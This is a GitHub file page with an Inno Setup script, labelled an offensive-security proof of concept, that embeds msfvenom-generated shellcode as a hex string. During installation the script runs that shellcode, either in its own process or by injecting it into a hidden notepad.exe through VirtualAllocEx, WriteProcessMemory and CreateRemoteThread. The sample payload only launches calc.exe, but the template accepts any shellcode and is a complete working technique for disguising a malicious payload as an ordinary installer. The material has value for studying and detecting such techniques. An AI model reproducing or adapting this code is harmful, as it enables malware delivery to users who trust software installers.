forked from DarkCoderSc/inno-shellcode-example
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinno-shellcode.min.iss
365 lines (304 loc) · 10.9 KB
/
inno-shellcode.min.iss
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
; --------------------------------------------------------------------------------------
; PoC Author: Jean-Pierre LESUEUR (@DarkCoderSc) -
; https://www.phrozen.io/ -
; https://www.github.com/darkcodersc -
; -
; Category: Offsec PoC -
; Description: -
; Embedd shellcode inside InnoSetup for execution during setup installation. -
; The shellcode is executed using InnoSetup Pascal Code Engine through Windows API. -
; -
; REL: August 2021 -
; (Minified version: verbose functionalities removed from code. -
; -
; TODO: -
; - [EASY] Support x86-64 InnoSetup Installers. -
; - [EASY] Run PE (Process Hollowing). -
; --------------------------------------------------------------------------------------
; Configuration
#define SpawnNewProcess 0 ; 1 = Yes; 0 = No, payload is hosted and executed in current process.
#define SpawnProcessName "notepad.exe" ; Used if "SpawnNewProcess" is set to "1".
; msfvenom -p windows/exec -a x86 --platform Windows CMD=calc.exe EXITFUNC=thread -f hex
; If SpawnNewProcess is set to "1". It is recommended to use the EXITFUNC with ExitProcess instead of Thread.
#define Payload "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbe01d2a0a68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
; BEGIN: Do whatever you want your setup to do.
; Basically, this example is just a basic setup template, in addition of executing a shellcode
; Your setup can do regular setup tasks like installing software.
[Setup]
AppId={{D7EAA450-9906-4D8C-9E74-ED44DF692880}
AppName=InnoShellcode Example
AppVersion=1.5
AppPublisher=DarkCoderSc
AppPublisherURL=https://www.twitter.com/DarkCoderSc
AppSupportURL=https://www.twitter.com/DarkCoderSc
AppUpdatesURL=https://www.twitter.com/DarkCoderSc
CreateAppDir=no
PrivilegesRequired=lowest
OutputBaseFilename=innomal
Compression=lzma
SolidCompression=yes
WizardStyle=modern
Uninstallable=no
[Languages]
Name: "english"; MessagesFile: "compiler:Default.isl"
; END
[Code]
type
{ Structures }
TPayloadArray = array of byte;
__Pointer__ = PAnsiChar;
TReference = Cardinal;
{ WinAPI Structures }
TStartupInfoA = record
cb : DWORD;
lpReserved : __Pointer__;
lpDesktop : __Pointer__;
lpTitle : __Pointer__;
dwX : DWORD;
dwY : DWORD;
dwXSize : DWORD;
dwYSize : DWORD;
dwXCountChars : DWORD;
dwYCountChars : DWORD;
dwFillAttribute : DWORD;
dwFlags : DWORD;
wShowWindow : Word;
cbReserved2 : Word;
lpReserved2 : __Pointer__;
hStdInput : THandle;
hStdOutput : THandle;
hStdError : THandle;
end;
TProcessInformation = record
hProcess : THandle;
hThread : THandle;
dwProcessId : DWORD;
dwThreadId : DWORD;
end;
{ WinAPI Definitions }
// Alternatively we can use VirtualAllocEx with current process handle.
function VirtualAlloc(
lpAddress : __Pointer__;
dwSize : Cardinal;
flAllocationType,
flProtect : DWORD
) : TReference; external '[email protected] stdcall';
function VirtualAllocEx(
hProcess : THandle;
lpAddress : __Pointer__;
dwSize : Cardinal;
flAllocationType,
flProtect : DWORD
) : TReference; external '[email protected] stdcall';
function VirtualFree(
lpAddress : TReference;
dwSize : Cardinal;
dwFreeType : DWORD
) : BOOL; external '[email protected] stdcall';
function GetLastError() : DWORD; external '[email protected] stdcall';
function CreateThread(
lpThreadAttributes : __Pointer__;
dwStackSize : Cardinal;
lpStartAddress : TReference;
lpParameter : __Pointer__;
dwCreationFlags : DWORD;
var lpThreadId : DWORD
) : THANDLE; external '[email protected] stdcall';
procedure RtlMoveMemory(
Dest : TReference;
Source : TPayloadArray;
Len : Integer
); external '[email protected] stdcall';
function CreateProcessA(
lpApplicationName : PAnsiChar;
lpCommandLine : PAnsiChar;
lpProcessAttributes : __Pointer__;
lpThreadAttributes : __Pointer__;
bInheritHandles : BOOL;
dwCreationFlags : DWORD;
lpEnvironment : PAnsiChar;
lpCurrentDirectory : PAnsiChar;
const lpStartupInfo : TStartupInfoA;
var lpProcessInformation : TProcessInformation
) : BOOL; external '[email protected] stdcall';
function WriteProcessMemory(
hProcess : THandle;
lpBaseAddress : TReference; // Ptr
lpBuffer : TPayloadArray;
nSize : Cardinal;
var lpNumberOfBytesWritten : Cardinal
) : BOOL; external '[email protected] stdcall';
function CreateRemoteThread(
hProcess : THandle;
lpThreadAttributes : __Pointer__;
dwStackSize : Cardinal;
lpStartAddress : TReference; // Ptr
lpParameter : __Pointer__;
dwCreationFlags : DWORD;
var lpThreadid : DWORD
) : THandle; external '[email protected] stdcall';
{ WinAPI Constants }
const MEM_COMMIT = $00001000;
MEM_RESERVE = $00002000;
PAGE_EXECUTE_READWRITE = $00000040;
PAGE_READWRITE = $00000004;
MEM_RELEASE = $00008000;
STARTF_USESHOWWINDOW = $00000001;
{ Variables }
var pNil : PAnsiChar; // Trick to defined missing "nil/null" instruction on InnoSetup: InnoSetup initialize variable to NULL.
PAYLOAD : TPayloadArray; // Our shellcode
{ _.GetMem }
function GetMem(const ASize : Cardinal; const AExecute : Boolean) : TReference;
var AFlags : DWORD;
ARet : Cardinal;
begin
if AExecute then
AFlags := PAGE_EXECUTE_READWRITE
else
AFlags := PAGE_READWRITE;
ARet := VirtualAlloc(pNil, ASize, MEM_COMMIT or MEM_RESERVE, AFlags);
if GetLastError() = 0 then
result := ARet
else
result := 0;
end;
{ _.CreateExecutableRemoteMem }
function CreateExecutableRemoteMem(const ASize : Cardinal; const hProcess : THandle) : TReference;
var ARet : Cardinal;
begin
ARet := VirtualAllocEx(
hProcess,
pNil,
ASize,
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if GetLastError() = 0 then
result := ARet
else
result := 0;
end;
{ _.FreeMem }
procedure FreeMem(const lpAddress : TReference; const ASize : DWORD);
begin
VirtualFree(lpAddress, ASize, MEM_RELEASE);
end;
{ _.InitializePayload }
function InitializePayload() : Boolean;
var I, n : Integer;
APayloadStr : String;
APayloadLen : Cardinal;
AIndex : Integer;
begin
result := False;
///
APayloadStr := '{#Payload}';
APayloadLen := Length(APayloadStr);
if APayloadLen mod 2 <> 0 then
Exit;
SetLength(PAYLOAD, (APayloadLen div 2));
I := 0;
while True do begin
if I = 0 then
AIndex := 0
else
AIndex := I + 1;
PAYLOAD[I div 2] := StrToInt('$' + Copy(APayloadStr, AIndex, 2));
I := I + 2;
if I = APayloadLen then
break;
end;
result := Length(PAYLOAD) > 0;
end;
{ _.ExecLocalShellcode }
procedure ExecLocalShellcode();
var AThreadId : DWORD;
AThreadHandle : THandle;
AMemAddr : TReference;
begin
AMemAddr := GetMem(Length(PAYLOAD), True);
if (AMemAddr = 0) then
Exit;
RtlMoveMemory(AMemAddr, PAYLOAD, Length(PAYLOAD));
AThreadHandle := CreateThread(pNil, 0, AMemAddr, pNil, 0, AThreadId);
end;
{ _.ExecRemoteShellcode }
procedure ExecRemoteShellcode();
var AStartupInfo : TStartupInfoA;
AProcessInfo : TProcessInformation;
AMemAddr : TReference;
ABytesWritten : Cardinal;
AThreadHandle : THandle;
AThreadId : DWORD;
begin
AStartupInfo.cb := SizeOf(AStartupInfo);
// Unfortunately, I did not found any API / method to nil a memory region
// (Ex: FillChar, ZeroMemory, Memset etc...)
//
// TODO: Create my own "memset()".
AStartupInfo.lpReserved := pNil;
AStartupInfo.lpDesktop := pNil;
AStartupInfo.lpTitle := pNil;
AStartupInfo.dwX := 0;
AStartupInfo.dwY := 0;
AStartupInfo.dwXSize := 0;
AStartupInfo.dwYSize := 0;
AStartupInfo.dwXCountChars := 0;
AStartupInfo.dwYCountChars := 0;
AStartupInfo.dwFillAttribute := 0;
AStartupInfo.dwFlags := STARTF_USESHOWWINDOW;
AStartupInfo.wShowWindow := SW_HIDE;
AStartupInfo.cbReserved2 := 0;
AStartupInfo.lpReserved2 := pNil;
AStartupInfo.hStdInput := 0;
AStartupInfo.hStdOutput := 0;
AStartupInfo.hStdError := 0;
if not CreateProcessA(
pNil,
'{#SpawnProcessName}',
pNil,
pNil,
False,
0,
pNil,
pNil,
AStartupInfo,
AProcessInfo
) then
Exit;
AMemAddr := CreateExecutableRemoteMem(Length(PAYLOAD), AProcessInfo.hProcess);
if not WriteProcessMemory(
AProcessInfo.hProcess,
AMemAddr,
PAYLOAD,
Length(PAYLOAD),
ABytesWritten
) then
Exit;
AThreadHandle := CreateRemoteThread(
AProcessInfo.hProcess,
pNil,
0, // Auto
AMemAddr, // Payload location
pNil,
0, // Run now
AThreadId // __Out__
);
if AThreadHandle = 0 then
Exit;
end;
{ _.CurStepChanged }
procedure CurStepChanged(CurStep: TSetupStep);
begin
case CurStep of
ssInstall : begin
if not InitializePayload() then
Exit;
if {#SpawnNewProcess} = 1 then
ExecRemoteShellcode()
else
ExecLocalShellcode();
end;
end;
end;